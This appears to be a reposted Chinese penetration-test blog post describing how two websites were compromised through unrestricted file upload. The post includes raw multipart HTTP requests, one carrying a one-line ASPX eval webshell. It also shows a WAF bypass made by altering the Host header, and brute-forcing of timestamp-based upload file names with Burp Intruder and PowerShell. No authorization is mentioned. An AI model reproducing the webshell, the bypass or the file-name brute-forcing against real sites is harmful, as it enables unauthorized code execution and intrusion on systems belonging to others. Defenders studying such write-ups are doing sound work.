一次运气很好的文件上传

忘是亡心i 2024-04-07 10:39 40阅读 0赞

### **0x01 站点1：文件上传** ###

##### 发现源代码泄露 #####

打开自己珍藏已久的辣鸡字典，扫描发现存在bin.zip信息泄露，尝试进行代码审计  
文件位置：SimpleDataPlatform.SimpleDataPlatform.fileUpload

找到ProccessRequest接收请求，可以看到获取了一堆参数后(初始化)，后进入了HandleFiles方法，

[![c9b564777fad7319980f634a2e2ecade.png][]][c9b564777fad7319980f634a2e2ecade.png 1]

跟进HandleFiles进行处理，如果dateType=ZBJHSB时，就继续处理请求，dateType为GET传参

[![46ae034b573d695a0b4fce2584ecdd88.png][]][46ae034b573d695a0b4fce2584ecdd88.png 1]

路径为/Uploads/SetData/ZBJHSB，str名称为时间戳，且str2(后缀)没有进行限制就进行保存，

[![d3ffb7295fbc7bd4c89cbdb15146d0d6.png][]][d3ffb7295fbc7bd4c89cbdb15146d0d6.png 1]

OK，这应该是一个妥妥的任意文件上传了，只要有返回值，那么这个站就没了。但是很不凑巧的是，他没有返回值。  
由于方法fileUpload，瞎猜文件名为

fileUpload.aspx
    fileUpload.ashx
    fileUpload.asmx
    fileUploads.aspx
    fileUploads.asmx
    fileUploads.ashx
    Upload.....等

加上自己现有的字典爆破了一波,成功找到了返回了200的文件名[http://xxx.com:6039/FileUploads.ashx][http_xxx.com_6039_FileUploads.ashx]

直接构造上传表单，这里Form里的name字段应该是没有具体设置的(代码里没有找到)，发包后返回200，可能真的传上去了吧？

POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1
    Host: xxx.cn:6039
    Content-Length: 195
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8
    Accept: */*
    Connection: close
    
    ------WebKitFormBoundarySVkAJfiOUeRxhsu8
    Content-Disposition: form-data; name="File"; filename="1.aspx"
    Content-Type: image/jpeg
    
    11111111111
    ------WebKitFormBoundarySVkAJfiOUeRxhsu8--

[![636b76eef3992377176aac7fd9c3f811.png][]][636b76eef3992377176aac7fd9c3f811.png 1]

之前我们看到使用的格式为yyyyMMddHHmmssfff作为文件名，然后直接截取后缀作为ext，而且我们有了具体的路径，那么只需要爆破时间戳文件名即可拿下该站点，以前还没有这么做过，不妨试试。

##### 爆破时间戳 #####

使用Powershell生成时间戳，然后此时在Burp按下go发送请求包  
powershell -c Get-Date -Format yyyyMMddHHmmssfff

[![1aa7f177c33bb9cb06bff4f381300e5f.png][]][1aa7f177c33bb9cb06bff4f381300e5f.png 1]

再爆破后面5位数字，也就是ssfff(由于电脑上的时间不一定准，有时候甚至可能要爆破6位)  
不知道等了多久

[![8b49ed6fea57ca6f42922b9315fd5706.png][]][8b49ed6fea57ca6f42922b9315fd5706.png 1]

运气真好，后面的就不多说了。

### 0x02 站点2：文件上传 ###

##### 找到上传接口 #####

打开网站[http://xxxx:880/zwwpt/\#/就发现存在一个webpack][http_xxxx_880_zwwpt_webpack] debug模式未关闭，查看JS发现上传接口

[![dd3961774818bad46a499463c56b17c4.png][]][dd3961774818bad46a499463c56b17c4.png 1]

[http://xxxxxx:880/zwwpt/data/menuData.json][http_xxxxxx_880_zwwpt_data_menuData.json]  
发现了一个隐藏的html页面，这个页面在前端的功能点是点不到的。

[![4538d1c1db42bf39d6fae4b1b763dc5f.png][]][4538d1c1db42bf39d6fae4b1b763dc5f.png 1]

[http://xxxxxx:880/jtwxt/xgjt/security\_risk.html][http_xxxxxx_880_jtwxt_xgjt_security_risk.html]  
点击附件上传抓包

[![0dad14145c3cf770289c5202651eeacf.png][]][0dad14145c3cf770289c5202651eeacf.png 1]

发现存在waf，当拦截住waf的时候，会返回404，大概数据包就是这样(省略了一些其他的无用参数)

POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1
    Host: xxxxx.cn:880
    Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810
    Connection: close
    
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB
    Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx"
    Content-Type: image/jpeg
    
    <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
    
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--

##### 绕过 #####

修改HOST:  
xxxx.cn:880为xxxx.cn或xxx.cn:8888(不为880端口应该都可以)

POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1
    Host: xxxxx.cn
    Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810
    Connection: close
    
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB
    Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx
    Content-Type: image/jpeg
    
    1111
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--

成功饶过waf，上传成功，但是没有返回路径

[![e92af5d9c3671d03135aa49a68b5b06b.png][]][e92af5d9c3671d03135aa49a68b5b06b.png 1]

##### 寻找路径 #####

但是之前爆破目录找到了/uploads/目录和/image/目录

[![26396b1cceb4c7f894406bdc97b3b747.png][]][26396b1cceb4c7f894406bdc97b3b747.png 1]

[![52e6aae8e002fae6b9e6304e1a19b3d4.png][]][52e6aae8e002fae6b9e6304e1a19b3d4.png 1]

而且发现html名为security\_risk.html，构造路径securityrisk、security\_risk、security等，然后跑了一下目录  
最终发现存在 [http://xxx.cn:880/uploads/securityrisk/][http_xxx.cn_880_uploads_securityrisk] 这个目录

[![393671617ffddf3ad50ccaf0b5d4b7ad.png][]][393671617ffddf3ad50ccaf0b5d4b7ad.png 1]

猜测可能上传的文件很有可能在该目录下，不然没必要起这么像的名字吧，而且还叫upload，于是尝试直接访问刚刚的文件名1.txt，返回是404[http://xxx.cn:880/uploads/securityrisk/1.txt][http_xxx.cn_880_uploads_securityrisk_1.txt]

[![4b8113c7ff63e520b043682420fabd74.png][]][4b8113c7ff63e520b043682420fabd74.png 1]

##### 爆破时间戳 #####

根据自己微不足道的经验，dot.net架构的网站喜欢使用时间戳来命名，因此构造当前时间戳，尝试爆破上传时间附近的时间点的时间戳值。  
时间戳一般为10位或者13位

[![7209af0adac2c6b0d23faae2da9dfa53.png][]][7209af0adac2c6b0d23faae2da9dfa53.png 1]

文件上传后强制转换的文件名命名规律一般有**1、随机字符串**  
xxx-xxx-xxx--xxx.jpg 格式这种类型我们没法猜，如果没目录遍历或者返回路径，那么基本上只能放弃

**2、时间戳类型**

直接以时间戳+.jpg为文件名(如1631868676.jpg)
    时间戳+00001
    时间戳+0001
    时间戳+001
    时间戳+01
    时间戳

**3、yymmddHHmm类型**  
这种类型一般以20210917xxxxx这种格式，xxxx应该为毫秒级别的数字，我们可以直接使用Burp进行爆破跑，4——6位还是可能跑的出来的，再多就跑不出来了。  
powershell -c Get-Date -Format yyyyMMddHHmm

[![dfaa1b0db10f6211b1c05e3a625e1bfb.png][]][dfaa1b0db10f6211b1c05e3a625e1bfb.png 1]

yyyyMMddHHmmssfff
    yyyyMMddHHmmssfff+00001
    yyyyMMddHHmmssfff+0001
    yyyyMMddHHmmssfff+001
    yyyyMMddHHmmssfff+01
    yyyyMMddHHmmssfff
    
    yyyyMMddHHmmss
    yyyyMMddHHmmss+00001
    yyyyMMddHHmmss+0001
    yyyyMMddHHmmss+001
    yyyyMMddHHmmss+01
    yyyyMMddHHmmss

整理好了思路我们就开始爆破吧，我们只需选择在Burp发包时记住当前时间，然后获取当前时间戳，然后使用Burp intruder爆破来跑，一个一个的整理过去，大概需要重复操作15次，每次我就选择最后5位数字来进行爆破(只要网站不挂，不疏漏每一种类型应该是没什么问题的)

[![2b51e3eebbff8ca74048f344cba8c941.png][]][2b51e3eebbff8ca74048f344cba8c941.png 1]

经过大量爆破后，发现了上传的文本文件，格式内容为  
yyyyMMddHHmmss+0001  
成功找到路径后，后面的就无需多言了

### 0x03 总结 ###

1.通过目录扫描工具对目标站点一进行目录扫描，发现存在bin.zip，下载到本地，是站点1的源码

2.对网站源码进行代码审计，发现存在文件上传，上传的文件名并不知道，传参为DataType=ZBJHSB

，上传文件后保存的路径为：/Uploads/SetData/ZBJHSB .且上传的文件名的生成规则为：yyyyMMddHHmmssfff

3.由于网站采用fileupload方法，这里可以通过bp枚举上传文件命令，最终在访问

http://xxx.com:6039/FileUploads.ashx显示200.表示存在文件上传

fileUpload.aspx

fileUpload.ashx

fileUpload.asmx

fileUploads.aspx

fileUploads.asmx

fileUploads.ashx

Upload.....等

4.这里通过本地构造上传表单并保存为html进行post提交

http://xxx.com:6039/FileUploads.ashx?DataType=ZBJHSB

5.通过下面命令生成当前时间错的文件名

powershell -c Get-Date -Format yyyyMMddHHmmssfff

6.由于和电脑上的时间不一定准，需要爆破5位数到6位数，也就是mmssfff

这里可以通过bp爆破后面的5位数或者6位数

7.通过目录扫描工具对目标站点进行网络请求查看，发现存在webpack debug模式未关闭，发现index.js，其内容中包含了上传接口

8.发现上传接口http://xxxxxx:880/jtwxt/xgjt/security\_risk.html，并进行附件上传。

9.发现存在waf,会返回404,通过修改host主机xxxx.cn:880为xxxx.cn或xxx.cn:8888，可绕过waf,但是并没返回上传路径

10.这里通过目录扫描工具对目标http://xxxxxx:880/进行扫描，发现访问uploads以及images目录403，这里猜测是上传到uploads目录下.

11.发现html名为security\_risk.html，构造路径securityrisk、security\_risk、security等目录进行扫描，

最终发现存在 http://xxx.cn:880/uploads/securityrisk/ 目录

12.上传一个1.txt文件，访问 http://xxx.cn:880/uploads/securityrisk/1.txt显示不存在，可能上传的文件名是时间戳

(.net架构的网站喜欢使用时间戳来命名)

13.通过以下命令生成当前时间错的文件名

powershell -c Get-Date -Format yyyyMMddHHmm

powershell -c Get-Date -Format yyyyMMddHHmmssfff

powershell -c Get-Date -Format yyyyMMddHHmmssfff+00001

powershell -c Get-Date -Format yyyyMMddHHmmssfff+0001

powershell -c Get-Date -Format yyyyMMddHHmmssfff+001

powershell -c Get-Date -Format yyyyMMddHHmmssfff+01

14.选择在Burp发包时记住当前时间，然后获取当前时间戳，然后使用Burp intruder爆破来跑，一个一个的整理过去，大概需要重复操作15次，每次我就选择最后5位数字来进行爆破，最终爆破出文件名出来。

但是这种方法还是比较靠运气的，因为很有可能当前服务器的时间和目标网站的时间不一致，比如差个几个小时，甚至差个几天这种情况。
    如果为yyyyMMddHHmmssfff的情况，那基本是没办法了，自认倒霉
    如果是yyyyMMddHHmmss的情况，那么爆破6位数字，还是可能爆破出来的。

原文链接： [https://xz.aliyun.com/t/10280][https_xz.aliyun.com_t_10280]

[c9b564777fad7319980f634a2e2ecade.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/089d1523f4c249d5868ec853bd71fdcc.png
[c9b564777fad7319980f634a2e2ecade.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918152520-94cc81fc-1851-1.png
[46ae034b573d695a0b4fce2584ecdd88.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b8b6a1ce75434b7c9c968dfc9184f74a.png
[46ae034b573d695a0b4fce2584ecdd88.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918153901-7da346e4-1853-1.png
[d3ffb7295fbc7bd4c89cbdb15146d0d6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5f81028031da4ce6bd5fe2a86638d2d2.png
[d3ffb7295fbc7bd4c89cbdb15146d0d6.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918153935-9240a1d2-1853-1.png
[http_xxx.com_6039_FileUploads.ashx]: http://xxx.com:6039/FileUploads.ashx
[636b76eef3992377176aac7fd9c3f811.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/215284e57f504e9e9d9f2a68cf808c64.png
[636b76eef3992377176aac7fd9c3f811.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154120-d0ba639e-1853-1.png
[1aa7f177c33bb9cb06bff4f381300e5f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b8248e39e51a432ea1b93377c9e2a7d3.png
[1aa7f177c33bb9cb06bff4f381300e5f.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154142-ddce01bc-1853-1.png
[8b49ed6fea57ca6f42922b9315fd5706.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d11b1fc6af574792935066977aca7369.png
[8b49ed6fea57ca6f42922b9315fd5706.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154153-e47e3cc0-1853-1.png
[http_xxxx_880_zwwpt_webpack]: http://xxxx:880/zwwpt/#/%E5%B0%B1%E5%8F%91%E7%8E%B0%E5%AD%98%E5%9C%A8%E4%B8%80%E4%B8%AAwebpack
[dd3961774818bad46a499463c56b17c4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/adcf313e44b342b4bebd9b20f4aba677.png
[dd3961774818bad46a499463c56b17c4.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154317-16571578-1854-1.png
[http_xxxxxx_880_zwwpt_data_menuData.json]: http://xxxxxx:880/zwwpt/data/menuData.json
[4538d1c1db42bf39d6fae4b1b763dc5f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7961b4b0ac564750951398de07ec81d3.png
[4538d1c1db42bf39d6fae4b1b763dc5f.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154328-1cef4ef0-1854-1.png
[http_xxxxxx_880_jtwxt_xgjt_security_risk.html]: http://xxxxxx:880/jtwxt/xgjt/security_risk.html
[0dad14145c3cf770289c5202651eeacf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/738f6708a9fc4dffaf4a7c1da2b3cab5.png
[0dad14145c3cf770289c5202651eeacf.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154338-233f39e6-1854-1.png
[e92af5d9c3671d03135aa49a68b5b06b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b23ccc27c546408a9da59e3b542638ba.png
[e92af5d9c3671d03135aa49a68b5b06b.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154431-4252a16a-1854-1.png
[26396b1cceb4c7f894406bdc97b3b747.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5ccfdfa8711645f5b2fe0f34647d8918.png
[26396b1cceb4c7f894406bdc97b3b747.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154443-49c36092-1854-1.png
[52e6aae8e002fae6b9e6304e1a19b3d4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/99ff433e17a648dc91a0d376de8ca50c.png
[52e6aae8e002fae6b9e6304e1a19b3d4.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154448-4c967fca-1854-1.png
[http_xxx.cn_880_uploads_securityrisk]: http://xxx.cn:880/uploads/securityrisk/
[393671617ffddf3ad50ccaf0b5d4b7ad.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b59e28cf19724a4ebc4823c36de2001e.png
[393671617ffddf3ad50ccaf0b5d4b7ad.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154503-55e47a28-1854-1.png
[http_xxx.cn_880_uploads_securityrisk_1.txt]: http://xxx.cn:880/uploads/securityrisk/1.txt
[4b8113c7ff63e520b043682420fabd74.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5c9e0f2703a24888ab5dad3ab6deb680.png
[4b8113c7ff63e520b043682420fabd74.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154520-5ffc5558-1854-1.png
[7209af0adac2c6b0d23faae2da9dfa53.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4c79e5739e6240e6a5115a43b47ab9c4.png
[7209af0adac2c6b0d23faae2da9dfa53.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154537-6a0d98d6-1854-1.png
[dfaa1b0db10f6211b1c05e3a625e1bfb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3ce620f40ef54e30883afb20529ba0da.png
[dfaa1b0db10f6211b1c05e3a625e1bfb.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154545-6eaee34a-1854-1.png
[2b51e3eebbff8ca74048f344cba8c941.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2bb49bcb34e745e4a8c8b00395132d14.png
[2b51e3eebbff8ca74048f344cba8c941.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210918154557-7614bf24-1854-1.png
[https_xz.aliyun.com_t_10280]: https://xz.aliyun.com/t/10280